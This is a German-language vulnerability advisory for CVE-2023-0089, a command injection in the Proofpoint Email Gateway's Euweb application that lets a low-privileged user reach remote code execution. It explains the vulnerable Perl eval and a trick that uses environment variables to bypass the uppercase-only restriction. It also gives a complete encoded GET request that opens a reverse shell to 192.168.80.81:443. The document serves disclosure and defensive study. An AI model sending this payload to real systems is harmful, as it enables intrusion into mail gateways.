
Proofpoint Email Gateway: Niedrig privilegierter authentifizierter Benutzer zu Admin-RCE
Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io
GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Überblick: Remote Code Execution – Von einem niedrig privilegierten authentifizierten Benutzer zu Admin-RCE
CVE: CVE-2023-0089
Zeitleiste:
Exploits für Proofpoint Messaging Security Gateway
Ein niedrig privilegierter (authentifizierter) Benutzer des Euweb kann mit Admin-Rechten beliebigen Code ausführen.
Die Funktion getMsgType in Euwebutils.pm ist anfällig für Command Injection. Die Variable $module stammt aus einem GET-Parameter, und auf diese Benutzereingabe wird keine Sanitisierung angewendet.
sub getMsgType {
...
else {
$msgtype = eval "Proofpoint::Digest::PROOFPOINT_MAIL_REPORT_MSGTYPE_".uc($module);
}
Diese Funktion getMsgType wird von vielen API-Aufrufen der Euweb-Anwendung verwendet, sodass der Exploit auf viele Arten ausgelöst werden kann.
Da alle Zeichen Großbuchstaben sein müssen, können Umgebungsvariablen verwendet werden, um diese Einschränkung für Kleinbuchstaben zu umgehen. Beispiel: ${SHELL:1:1} anstelle von b
Da use strict verwendet wird, kann MAIL_GENERAL() am Anfang der Zeichenkette hinzugefügt werden, um PROOFPOINT_MAIL_REPORT_MSGTYPE_ zu vervollständigen. Danach kann eigener Perl-Code hinzugefügt werden.
Beispiel-Payload (unkodiert): MAIL_GENERAL();`id`
Reverse-Shell, mithilfe von Umgebungsvariablen kodiert, um die Einschränkung für Kleinbuchstaben zu umgehen. Der Code wird als Benutzer pps ausgeführt.
GET /euweb/euweb?cmd=x_releasemsg&id=0&func=ReleaseMsg&entries=23%3A23%3A12&eid=3&module=MAIL_GENERAL()%3b`/\${SHELL%3a1%3a1}\${SHELL%3a2%3a1}\${LANG%3a1%3a1}/\${USER%3a2%3a1}\${SHELL%3a8%3a1}+-\${SHELL%3a2%3a1}+>%26+/\${SSH_TTY%3a1%3a1}\${TERM%3a2%3a1}\${MAIL%3a1%3a1}/\${TERM%3a1%3a1}\${TERM%3a9%3a1}\${USER%3a0%3a1}/192.168.80.81/443+0>%261`